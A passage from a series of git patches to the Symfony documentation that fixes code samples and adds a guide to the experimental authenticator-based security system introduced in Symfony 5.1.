index f9d01df6ce8..da43fe0ee3b 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -62,7 +62,7 @@ What did this recipe do? In addition to automatically enabling the feature in
     A configuration file that sets up Twig with sensible defaults.
 
 ``config/packages/test/twig.yaml``
-    A configuration file to override some of the settings previously configured in ``config/packages/twig.yaml``.
+    A configuration file that changes some Twig options when running tests.
 
 ``templates/``
     This is the directory where template files will live. The recipe also added

From 62aee7c191f36552223b7a0c257e51338b8bd889 Mon Sep 17 00:00:00 2001
From: Yoann Renard <renard.yoann@gmail.com>
Date: Tue, 2 Jun 2020 17:50:48 +0200
Subject: [PATCH 0794/7107] Fix form unit testing code sample

---
 form/unit_testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index bc7da36f443..7ea984c0a9b 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -54,9 +54,9 @@ The simplest ``TypeTestCase`` implementation looks like the following::
                 'test2' => 'test2',
             ];
 
-            $formData = new TestObject();
+            $model = new TestObject();
             // $formData will retrieve data from the form submission; pass it as the second argument
-            $form = $this->factory->create(TestedType::class, $formData);
+            $form = $this->factory->create(TestedType::class, $model);
 
             $expected = new TestObject();
             // ...populate $object properties with the data stored in $formData
@@ -68,7 +68,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             $this->assertTrue($form->isSynchronized());
 
             // check that $formData was modified as expected when the form was submitted
-            $this->assertEquals($expected, $formData);
+            $this->assertEquals($expected, $model);
         }
 
         public function testCustomFormView()

From bdb5271e7de631037008a3667a94b4e3f3502dda Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 23 May 2020 13:51:23 +0200
Subject: [PATCH 0795/7107] [Security] Added docs about the authenticator-based
 Security system

---
 security.rst                             |  44 ++
 security/experimental_authenticators.rst | 499 +++++++++++++++++++++++
 security/guard_authentication.rst        |   5 +
 3 files changed, 548 insertions(+)
 create mode 100644 security/experimental_authenticators.rst

diff --git a/security.rst b/security.rst
index 584db4b78b5..15a56b5b245 100644
--- a/security.rst
+++ b/security.rst
@@ -37,6 +37,49 @@ install the security feature before using it:
 
     $ composer require symfony/security-bundle
 
+
+.. tip::
+
+    A :doc:`new experimental Security </security/experimental_authenticators>`
+    was introduced in Symfony 5.1, which will eventually replace security in
+    Symfony 6.0. This system is almost fully backwards compatible with the
+    current Symfony security, add this line to your security configuration to start
+    using it:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/security.yaml
+            security:
+                enable_authenticator_manager: true
+                # ...
+
+        .. code-block:: xml
+
+            <!-- config/packages/security.xml -->
+            <?xml version="1.0" encoding="UTF-8"?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/security
+                    https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+                <config enable-authenticator-manager="true">
+                    <!-- ... -->
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // config/packages/security.php
+            $container->loadFromExtension('security', [
+                'enable_authenticator_manager' => true,
+                // ...
+            ]);
+
 .. _initial-security-yml-setup-authentication:
 .. _initial-security-yaml-setup-authentication:
 .. _create-user-class:
@@ -1121,6 +1164,7 @@ Authentication (Identifying/Logging in the User)
 .. toctree::
     :maxdepth: 1
 
+    security/experimental_authenticators
     security/form_login_setup
     security/reset_password
     security/json_login_setup
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
new file mode 100644
index 00000000000..4299a452dcf
--- /dev/null
+++ b/security/experimental_authenticators.rst
@@ -0,0 +1,499 @@
+Using the new Authenticator-based Security
+==========================================
+
+.. versionadded:: 5.1
+
+    Authenticator-based security was introduced as an
+    :doc:`experimental feature </contributing/code/experimental>` in
+    Symfony 5.1.
+
+In Symfony 5.1, a new authentication system was introduced. This system
+changes the internals of Symfony Security, to make it more extensible
+and more understandable.
+
+Enabling the System
+-------------------
+
+The authenticator-based system can be enabled using the
+``enable_authenticator_manager`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'enable_authenticator_manager' => true,
+            // ...
+        ]);
+
+The new system is backwards compatible with the current authentication
+system, with some exceptions that will be explained in this article:
+
+* :ref:`Anonymous users no longer exist <authenticators-removed-anonymous>`
+* :ref:`Configuring the authentication entry point is required when more than one authenticator is used <authenticators-required-entry-point>`
+* :ref:`The authentication providers are refactored into Authenticators <authenticators-removed-authentication-providers>`
+
+.. _authenticators-removed-anonymous:
+
+Adding Support for Unsecured Access (i.e. Anonymous Users)
+----------------------------------------------------------
+
+In Symfony, visitors that haven't yet logged in to your website were called
+:ref:`anonymous users <firewalls-authentication>`. The new system no longer
+has anonymous authentication. Instead, these sessions are now treated as
+unauthenticated (i.e. there is no security token). When using
+``isGranted()``, the result will always be ``false`` (i.e. denied) as this
+session is handled as a user without any privileges.
+
+In the ``access_control`` configuration, you can use the new
+``PUBLIC_ACCESS`` security attribute to whitelist some routes for
+unauthenticated access (e.g. the login page):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            access_control:
+                # allow unauthenticated users to access the login form
+                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
+
+                # but require authentication for all other admin routes
+                - { path: ^/admin, roles: ROLE_ADMIN }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <access-control>
+                    <!-- allow unauthenticated users to access the login form -->
+                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
+
+                    <!-- but require authentication for all other admin routes -->
+                    <rule path="^/admin" role="ROLE_ADMIN"/>
+                </access-control>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Component\Security\Http\Firewall\AccessListener;
+
+        $container->loadFromExtension('security', [
+            'enable_authenticator_manager' => true,
+
+            // ...
+            'access_control' => [
+                // allow unauthenticated users to access the login form
+                ['path' => '^/admin/login', 'roles' => AccessListener::PUBLIC_ACCESS],
+
+                // but require authentication for all other admin routes
+                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
+            ],
+        ]);
+
+.. _authenticators-required-entry-point:
+
+Configuring the Authentication Entry Point
+------------------------------------------
+
+Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
+login and an API token authentication). In these cases, it is now required
+to configure the *authentication entry point*. The entry point is used to
+generate a response when the user is not yet authenticated but tries to access
+a page that requires authentication. This can be used for instance to redirect
+the user to the login page.
+
+You can configure this using the ``entry_point`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            firewalls:
+                main:
+                    # allow authentication using a form or HTTP basic
+                    form_login: ~
+                    http_basic: ~
+
+                    # configure the form authentication as the entry point for unauthenticated users
+                    entry_point: form_login
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <!-- entry-point: configure the form authentication as the entry
+                                  point for unauthenticated users -->
+                <firewall name="main"
+                    entry-point="form_login"
+                >
+                    <!-- allow authentication using a form or HTTP basic -->
+                    <form-login/>
+                    <http-basic/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Component\Security\Http\Firewall\AccessListener;
+
+        $container->loadFromExtension('security', [
+            'enable_authenticator_manager' => true,
+
+            // ...
+            'firewalls' => [
+                'main' => [
+                    // allow authentication using a form or HTTP basic
+                    'form_login' => null,
+                    'http_basic' => null,
+
+                    // configure the form authentication as the entry point for unauthenticated users
+                    'entry_point' => 'form_login'
+                ],
+            ],
+        ]);
+
+.. note::
+
+    You can also create your own authentication entry point by creating a
+    class that implements
+    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
+    You can then set ``entry_point`` to the service id (e.g.
+    ``entry_point: App\Security\CustomEntryPoint``)
+
+.. _authenticators-removed-authentication-providers:
+
+Creating a Custom Authenticator
+-------------------------------
+
+Security traditionally could be extended by writing
+:doc:`custom authentication providers </security/custom_authentication_provider>`.
+The authenticator-based system dropped support for these providers and
+introduced a new authenticator interface as a base for custom
+authentication methods.
+
+.. tip::
+
+    :doc:`Guard authenticators </security/guard_authentication>` are still
+    supported in the authenticator-based system. It is however recommended
+    to also update these when you're refactoring your application to the
+    new system. The new authenticator interface has many similarities with the
+    guard authenticator interface, making the rewrite easier.
+
+Authenticators should implement the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
+You can also extend
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
+which has a default implementation for the ``createAuthenticatedToken()``
+method that fits most use-cases::
+
+    // src/Security/ApiKeyAuthenticator.php
+    namespace App\Security;
+
+    use App\Entity\User;
+    use Doctrine\ORM\EntityManagerInterface;
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Exception\AuthenticationException;
+    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
+    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
+    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
+    use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
+
+    class ApiKeyAuthenticator extends AbstractAuthenticator
+    {
+        private $entityManager;
+
+        public function __construct(EntityManagerInterface $entityManager)
+        {
+            $this->entityManager = $entityManager;
+        }
+
+        /**
+         * Called on every request to decide if this authenticator should be
+         * used for the request. Returning `false` will cause this authenticator
+         * to be skipped.
+         */
+        public function supports(Request $request): ?bool
+        {
+            return $request->headers->has('X-AUTH-TOKEN');
+        }
+
+        public function authenticate(Request $request): PassportInterface
+        {
+            $apiToken = $request->headers->get('X-AUTH-TOKEN');
+            if (null === $apiToken) {
+                // The token header was empty, authentication fails with HTTP Status
+                // Code 401 "Unauthorized"
+                throw new CustomUserMessageAuthenticationException('No API token provided');
+            }
+
+            $user = $this->entityManager->getRepository(User::class)
+                ->findOneBy(['apiToken' => $apiToken])
+            ;
+            if (null === $user) {
+                throw new UsernameNotFoundException();
+            }
+
+            return new SelfValidatingPassport($user);
+        }
+
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response
+        {
+            // on success, let the request continue
+            return null;
+        }
+
+        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
+        {
+            $data = [
+                // you may want to customize or obfuscate the message first
+                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
+
+                // or to translate this message
+                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
+            ];
+
+            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
+        }
+    }
+
+The authenticator can be enabled using the ``custom_authenticators`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            firewalls:
+                main:
+                    custom_authenticators:
+                        - App\Security\ApiKeyAuthenticator
+
+                    # don't forget to also configure the entry_point if the
+                    # authenticator implements AuthenticatorEntryPointInterface
+                    # entry_point: App\Security\CustomFormLoginAuthenticator
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <!-- don't forget to also configure the entry-point if the
+                     authenticator implements AuthenticatorEntryPointInterface
+                <firewall name="main"
+                    entry-point="App\Security\CustomFormLoginAuthenticator"> -->
+
+                <firewall name="main">
+                    <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\ApiKeyAuthenticator;
+        use Symfony\Component\Security\Http\Firewall\AccessListener;
+
+        $container->loadFromExtension('security', [
+            'enable_authenticator_manager' => true,
+
+            // ...
+            'firewalls' => [
+                'main' => [
+                    'custom_authenticators' => [
+                        ApiKeyAuthenticator::class,
+                    ],
+
+                    // don't forget to also configure the entry_point if the
+                    // authenticator implements AuthenticatorEntryPointInterface
+                    // 'entry_point' => [App\Security\CustomFormLoginAuthenticator::class],
+                ],
+            ],
+        ]);
+
+The ``authenticate()`` method is the most important method of the
+authenticator. Its job is to extract credentials (e.g. username &
+password, or API tokens) from the ``Request`` object and transform these
+into a security
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
+
+.. tip::
+
+    If you want to customize the login form, you can also extend from the
+    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
+    class instead.
+
+Security Passports
+~~~~~~~~~~~~~~~~~~
+
+A passport is an object that contains the user that will be authenticated as
+well as other pieces of information, like whether a password should be checked
+or if "remember me" functionality should be enabled.
+
+The default
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
+requires a user object and credentials. The following credential classes
+are supported by default:
+
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`
+    This requires a plaintext ``$password``, which is validated using the
+    :ref:`password encoder configured for the user <security-encoding-user-password>`.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
+    Allows a custom closure to check credentials::
+
+        // ...
+        return new Passport($user, new CustomCredentials(
+            // If this function returns anything else than `true`, the credentials
+            // are marked as invalid.
+            // The $credentials parameter is equal to the next argument of this class
+            function ($credentials, UserInterface $user) {
+                return $user->getApiToken() === $credentials;
+            },
+
+            // The custom credentials
+            $apiToken
+        ));
+
+.. note::
+
+    If you don't need any credentials to be checked (e.g. a JWT token), you
+    can use the
+    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
+    This class only requires a user and optionally `Passport Badges`_.
+
+Passport Badges
+~~~~~~~~~~~~~~~
+
+The ``Passport`` also optionally allows you to add *security badges*.
+Badges attach more data to the passport (to extend security). By default,
+the following badges are supported:
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\RememberMeBadge`
+    When this badge is added to the passport, the authenticator indicates
+    remember me is supported. Whether remember me is actually used depends
+    on special ``remember_me`` configuration. Read
+    :doc:`/security/remember_me` for more information.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
+    This is used to automatically upgrade the password to a new hash upon
+    successful login. This badge requires the plaintext password and a
+    password upgrader (e.g. the user repository). See :doc:`/security/password_migration`.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`
+    Automatically validates CSRF tokens for this authenticator during
+    authentication. The constructor requires a token ID (unique per form)
+    and CSRF token (unique per request). See :doc:`/security/csrf`.
+
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedBadge`
+    Indicates that this user was pre-authenticated (i.e. before Symfony was
+    initiated). This skips the
+    :doc:`pre-authentication user checker </security/user_checkers>`.
+
+For instance, if you want to add CSRF and password migration to your custom
+authenticator, you would initialize the passport like this::
+
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\PasswordUpgradeBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        public function authenticate(Request $request): PassportInterface
+        {
+            $password = $request->request->get('password');
+            $username = $request->request->get('username');
+            $csrfToken = $request->request->get('csrf_token');
+
+            // ... get the $user from the $username and validate no
+            // parameter is empty
+
+            return new Passport($user, new PasswordCredentials($password), [
+                // $this->userRepository must implement PasswordUpgraderInterface
+                new PasswordUpgradeBadge($password, $this->userRepository),
+                new CsrfTokenBadge('login', $csrfToken);
+            ]);
+        }
+    }
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 71859870d11..d88bea0de20 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -14,6 +14,11 @@ Guard authentication can be used to:
 and many more. In this example, we'll build an API token authentication
 system, so we can learn more about Guard in detail.
 
+.. tip::
+
+    A :doc:`new experimental authenticator-based system </security/experimental_authenticators>`
+    was introduced in Symfony 5.1, which will eventually replace Guards in Symfony 6.0.
+
 Step 1) Prepare your User Class
 -------------------------------
 

From f3b43641f6c05055ac15e531c6a6f37dc056bed8 Mon Sep 17 00:00:00 2001
From: Mathieu Ducrot <mathieu-ducrot@users.noreply.github.com>
Date: Thu, 4 Jun 2020 21:19:10 +0200
Subject: [PATCH 0796/7107] Fix supportsNormalization parameters definition

Add $context parameter in code example which is needed in Symfony\Component\Serializer\Normalizer\ContextAwareNormalizerInterface supportsNormalization definition.
---
 serializer/custom_normalizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index e9016065338..9f2e50fdcf1 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -47,7 +47,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, $format = null)
+        public function supportsNormalization($data, $format = null, array $context = [])
         {
             return $data instanceof Topic;
         }

From bd431e0b22cd5639a8b4980e6868bbfc7cfd3ed7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marius=20B=C3=BCscher?= <marius@gridscale.io>
Date: Thu, 4 Jun 2020 13:34:39 +0200
Subject: [PATCH 0797/7107] [lock] Be more specific about flock releasing locks

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 865471f0fe5..c5b80d669ca 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -220,7 +220,7 @@ FlockStore
 
 The FlockStore uses the file system on the local computer to create the locks.
 It does not support expiration, but the lock is automatically released when the
-PHP process is terminated::
+lock object goes out of scope and is freed by the garbage collector::
 
     use Symfony\Component\Lock\Store\FlockStore;
 

From 73d1789fe817dd9fabfd97131134429c65b42708 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rodrigo=20Capil=C3=A9?= <rcapile@gmail.com>
Date: Wed, 3 Jun 2020 20:16:53 -0300
Subject: [PATCH 0798/7107] [Security] anonymous: lazy deprecation warning

---
 security.rst | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index 584db4b78b5..85070389f62 100644
--- a/security.rst
+++ b/security.rst
@@ -231,6 +231,11 @@ You can manually encode a password by running:
 3a) Authentication & Firewalls
 ------------------------------
 
+.. versionadded:: 5.1
+
+    The ``lazy: true`` option was introduced in Symfony 5.1. Prior to version 5.1,
+    it was enabled using ``anonymous: lazy``
+
 The security system is configured in ``config/packages/security.yaml``. The *most*
 important section is ``firewalls``:
 
@@ -245,7 +250,8 @@ important section is ``firewalls``:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
                 main:
-                    anonymous: lazy
+                    anonymous: true
+                    lazy: true
 
     .. code-block:: xml
 
@@ -264,8 +270,9 @@ important section is ``firewalls``:
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
 
-                <firewall name="main">
-                    <anonymous lazy="true"/>
+                <firewall name="main"
+                    anonymous="true"
+                    lazy="true"/>
                 </firewall>
             </config>
         </srv:container>
@@ -280,7 +287,8 @@ important section is ``firewalls``:
                     'security' => false,
                 ],
                 'main' => [
-                    'anonymous' => 'lazy',
+                    'anonymous' => true,
+                    'lazy' => true,
                 ],
             ],
         ]);

From 5c281eda15eb0a68779c0bae785bdf01bd0bc918 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 5 Jun 2020 15:29:19 +0200
Subject: [PATCH 0799/7107] Removed 4.4 versionadded directive

---
 configuration.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 4f9e34a9b05..9d5e389bfc9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -576,10 +576,6 @@ Define a default value in case the environment variable is not set:
     DB_USER=
     DB_PASS=${DB_USER:-root}pass # results in DB_PASS=rootpass
 
-.. versionadded:: 4.4
-
-    The support for default values has been introduced in Symfony 4.4.
-
 Embed commands via ``$()`` (not supported on Windows):
 
 .. code-block:: bash

From 58e41fcc248c0ec33d796bbabb963415358ac71d Mon Sep 17 00:00:00 2001
From: Manoj Kumar <napestershine@users.noreply.github.com>
Date: Fri, 5 Jun 2020 17:40:08 +0200
Subject: [PATCH 0800/7107] Update security.rst

---
 security.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 254a1247966..8315e38d241 100644
--- a/security.rst
+++ b/security.rst
@@ -414,8 +414,7 @@ authentication process. There are many different ways to build an authenticator;
 here are a few common use-cases:
 
 * :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed description of
-   authenticators and how they work
+* :doc:`/security/guard_authentication` – see this for the most detailed description of authenticators and how they work
 
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:

From b660849dc047ddcb6c74124cdf42a3d35f33c009 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Fri, 5 Jun 2020 23:10:58 +0200
Subject: [PATCH 0801/7107] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e6974ccbbf3..13d629be94a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -953,7 +953,7 @@ The transport has a number of options:
         $container->loadFromExtension('framework', [
             'messenger' => [
                 'transports' => [
-                    'async_priority_high' => 'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority',
+                    'async_priority_high' => '%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority',
                     'async_priority_low' => [
                         'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
                         'options' => [

From 6565de26ebec5ba83141fe2906b620b0d89d95ff Mon Sep 17 00:00:00 2001
From: beejaz <beejaz@please.wtf>
Date: Sun, 7 Jun 2020 12:11:59 +0200
Subject: [PATCH 0802/7107] Update column type for MySQL sessions table

---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 29cd29f8d30..30c6410275a 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -389,7 +389,7 @@ MySQL
     CREATE TABLE `sessions` (
         `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
         `sess_data` BLOB NOT NULL,
-        `sess_lifetime` MEDIUMINT NOT NULL,
+        `sess_lifetime` INTEGER UNSIGNED NOT NULL,
         `sess_time` INTEGER UNSIGNED NOT NULL
     ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
 

From a2af4d75cf5885b5b57af9d98b9e7c00c14107b3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 7 Jun 2020 14:18:24 +0200
Subject: [PATCH 0803/7107] Minor update of the terminology used

---
 service_container/3.3-di-changes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst
index 3eb90241982..6a6075f846f 100644
--- a/service_container/3.3-di-changes.rst
+++ b/service_container/3.3-di-changes.rst
@@ -161,7 +161,7 @@ each service or load them all at once with this method.
 
     OK, but can I exclude some paths that I *know* won't contain services?
 
-Yes! The ``exclude`` key is a glob pattern that can be used to *blacklist* paths
+Yes! The ``exclude`` key is a glob pattern that can be used to *ignore* paths
 that you do *not* want to be included as services. But, since unused services are
 automatically removed from the container, ``exclude`` is not that important. The
 biggest benefit is that those paths are not *tracked* by the container, and so may

From 70d09a3d7d54559cf0df61b80be30913b829faf4 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 7 Jun 2020 19:17:41 +0200
Subject: [PATCH 0804/7107] Add missing "format" argument on denormalize

---
 components/serializer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index b65c00084ed..d711a1b5993 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1289,6 +1289,7 @@ context option::
     $data = $serializer->denormalize(
         ['foo' => 'Hello'],
         'MyObj',
+        null,
         [AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
             'MyObj' => ['foo' => '', 'bar' => ''],
         ]]

From 98574f5233c680e0e0a503355fd22ec3e286b4c7 Mon Sep 17 00:00:00 2001
From: Joe Bennett <joe@assimtech.com>
Date: Mon, 8 Jun 2020 15:51:01 +1000
Subject: [PATCH 0805/7107] #37139 Updated Lock MongoDbStore note on
 readPreference

---
 components/lock.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 6dfeb5518dc..257aa2d1cd8 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -647,9 +647,10 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     locks don't expire prematurely; the lock TTL should be set with enough extra
     time in ``expireAfterSeconds`` to account for any clock drift between nodes.
 
-``writeConcern``, ``readConcern`` and ``readPreference`` are not specified by
-MongoDbStore meaning the collection's settings will take effect. Read more
-about `Replica Set Read and Write Semantics`_ in MongoDB.
+``writeConcern`` and ``readConcern`` are not specified by MongoDbStore meaning
+the collection's settings will take effect.
+``readPreference`` is ``primary`` for all queries.
+Read more about `Replica Set Read and Write Semantics`_ in MongoDB.
 
 PdoStore
 ~~~~~~~~~~

From aba6d8bc30433637820a0325af306ad81f10b6a7 Mon Sep 17 00:00:00 2001
From: Daniel Wendler <4543262+flowl@users.noreply.github.com>
Date: Mon, 8 Jun 2020 02:47:21 +0200
Subject: [PATCH 0806/7107] Fixed typo in classname

---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 254a1247966..a3010b772c6 100644
--- a/security.rst
+++ b/security.rst
@@ -1038,8 +1038,8 @@ event class:
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            use App\EventListener\CutomLogoutListener;
-            use App\EventListener\CutomLogoutSubscriber;
+            use App\EventListener\CustomLogoutListener;
+            use App\EventListener\CustomLogoutSubscriber;
             use Symfony\Component\Security\Http\Event\LogoutEvent;
 
             return function(ContainerConfigurator $configurator) {

From 7c9713b7331eabba850ed1341f6e0a882b0e18a1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jun 2020 09:41:48 +0200
Subject: [PATCH 0807/7107] Reverted the merge of the Bulma CSS form theme

---
